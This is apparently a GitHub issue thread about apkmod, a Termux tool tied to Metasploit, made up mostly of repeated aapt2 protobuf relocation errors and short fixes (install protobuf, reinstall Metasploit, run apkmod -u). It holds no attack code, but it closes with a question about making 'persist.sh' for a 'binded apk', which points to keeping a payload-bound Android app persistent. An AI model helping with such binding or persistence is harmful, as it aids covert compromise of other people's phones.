_ZN6google8protobuf2io16CodedInputStream20ReadVarint64FallbackEv: symbol not found Error relocating aapt2: _ZN6google8protobuf2io16CodedInputStream15ReadTagFallbackEj: symbol not found Error relocating aapt2: _ZN6google8protobuf8internal14WireFormatLite9ReadBytesEPNS0_2io16CodedInputStreamE PNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE: symbol not found Error relocating aapt2: _ZN6google8protobuf2io17CodedOutputStream8WriteRawEPKvi: symbol not found Error relocating aapt2: _ZN6google8protobuf8internal14WireFormatLite12WriteMessageEiRKNS0_11MessageLiteEPN S0_2io17CodedOutputStreamE: symbol not found Error relocating aapt2: _ZN6google8protobuf2io17CodedOutputStream21WriteVarint32SlowPathEj: symbol not fou nd Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZN6google8protobuf8internal9ArenaImpl28AllocateAlignedAndAddCleanupEmPFvPvE: symb ol not found Error relocating aapt2: _ZN6google8protobuf11MessageLite14ParseFromArrayEPKvi: symbol not found Error relocating aapt2: _ZNK6google8protobuf2io16CodedInputStream15BytesUntilLimitEv: symbol not found Error relocating aapt2: _ZN6google8protobuf2io17CodedOutputStreamC1EPNS1_20ZeroCopyOutputStreamE: symbol n ot found Error relocating aapt2: _ZN6google8protobuf8internal9ArenaImpl15AllocateAlignedEm: symbol not found Error relocating aapt2: _ZN6google8protobuf2io18StringOutputStreamC1EPNSt7cxx1112basicstringIcSt11char traitsIcESaIcEEE: symbol not found Error relocating aapt2: _ZN6google8protobuf2io17CodedOutputStream19WriteLittleEndian32Ej: symbol not found Error relocating aapt2: _ZN6google8protobuf2io16CodedInputStream26ReadLittleEndian32FallbackEPj: symbol no t found Error relocating aapt2: _ZN6google8protobuf8internal14WireFormatLite9WriteBoolEibPNS0_2io17CodedOutputStre amE: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZN6google8protobuf8internal20RepeatedPtrFieldBase7ReserveEi: symbol not found Error relocating aapt2: _ZN6google8protobuf8internal14WireFormatLite9SkipFieldEPNS0_2io16CodedInputStreamE jPNS3_17CodedOutputStreamE: symbol not found Error relocating aapt2: _ZN6google8protobuf2io17CodedOutputStreamD1Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25SerializeToZeroCopyStreamEPNS0_2io20ZeroCopyOut putStreamE: symbol not found Error relocating aapt2: _ZN6google8protobuf2io16CodedInputStream26ReadLittleEndian64FallbackEPm: symbol no t found Error relocating aapt2: _ZN6google8protobuf2io17CodedOutputStream19WriteLittleEndian64Em: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZN6google8protobuf8internal11InitSCCImplEPNS1_11SCCInfoBaseE: symbol not found Error relocating aapt2: _ZN6google8protobuf8internal13VerifyVersionEiiPKc: symbol not found Error relocating aapt2: _ZN6google8protobuf2io16CodedInputStream9PushLimitEi: symbol not found Error relocating aapt2: _ZN6google8protobuf2io16CodedInputStreamD1Ev: symbol not found Error relocating aapt2: _ZN6google8protobuf2io16CodedInputStream35IncrementRecursionDepthAndPushLimitEi: s ymbol not found Error relocating aapt2: _ZN6google8protobuf2io16CodedInputStream20ReadVarint32FallbackEj: symbol not found Error relocating aapt2: _ZN6google8protobuf2io16CodedInputStream8PopLimitEi: symbol not found Error relocating aapt2: _ZN6google8protobuf8internal20RepeatedPtrFieldBase14InternalExtendEi: symbol not f ound Error relocating aapt2: _ZN6google8protobuf2io17CodedOutputStreamC1EPNS1_20ZeroCopyOutputStreamEb: symbol not found Error relocating aapt2: _ZN6google8protobuf11MessageLite27ParsePartialFromCodedStreamEPNS0_2io16CodedInput StreamE: symbol not found Error relocating aapt2: _ZN6google8protobuf2io16CodedInputStream12SkipFallbackEii: symbol not found Error relocating aapt2: _ZN6google8protobuf2io26CopyingOutputStreamAdaptorC1EPNS1_19CopyingOutputStreamEi: symbol not found Error relocating aapt2: _ZN6google8protobuf8internal14WireFormatLite22WriteBytesMaybeAliasedEiRKNSt7__cxx1 112basic_stringIcSt11char_traitsIcESaIcEEEPNS0_2io17CodedOutputStreamE: symbol not found Error relocating aapt2: _ZN6google8protobuf2io16CodedInputStream34DecrementRecursionDepthAndPopLimitEi: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite25InitializationErrorStringB5cxx11Ev: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite31SerializeWithCachedSizesToArrayEPh: symbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh: sy mbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTIN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZN6google8protobuf8internal26fixed_address_empty_stringB5cxx11E: symbol not found Error relocating aapt2: _ZN6google8protobuf8internal14DestroyMessageEPKv: symbol not found Error relocating aapt2: _ZTVN6google8protobuf2io18StringOutputStreamE: symbol not found Error relocating aapt2: _ZTVN6google8protobuf11MessageLiteE: symbol not found Error relocating aapt2: _ZTVN6google8protobuf2io20ZeroCopyOutputStreamE: symbol not found Error relocating aapt2: _ZN6google8protobuf2io16CodedInputStream24default_recursion_limit_E: symbol not fo und [root@localhost home]#

nichu8 commented 5 years ago

Screenshot_20191023_180759_com termux

nichu8 commented 5 years ago

Screenshot_20191023_180917_com termux

Hax4us commented 5 years ago

I got it , just enter into alpine by startalpine and then install protobuf by apk add protobuf

nichu8 commented 5 years ago

i completed the steps above and tried with - a option, but the same error occurred

Screenshot_20191023_211303_com termux

Hax4us commented 5 years ago

Then again check if aapt2 is working or not by aapt2 version in Alpine

nichu8 commented 5 years ago

Screenshot_20191023_221648_com termux

nichu8 commented 5 years ago

please help

Hax4us commented 5 years ago

I am unable to reproduce your issue on my device , but try to remove aapt then let's see what will happen. In Alpine rm /usr/bin/aapt

nichu8 commented 5 years ago

Screenshot_20191024_161045_com termux

Hax4us commented 5 years ago

Remove metasploit and install it from https://GitHub.com/hax4us/Metasploit_termux Then do apkmod -u then try it.

nichu8 commented 5 years ago

thank you issue fixed

nichu8 commented 5 years ago

one more thing how to make persist.sh with binded apk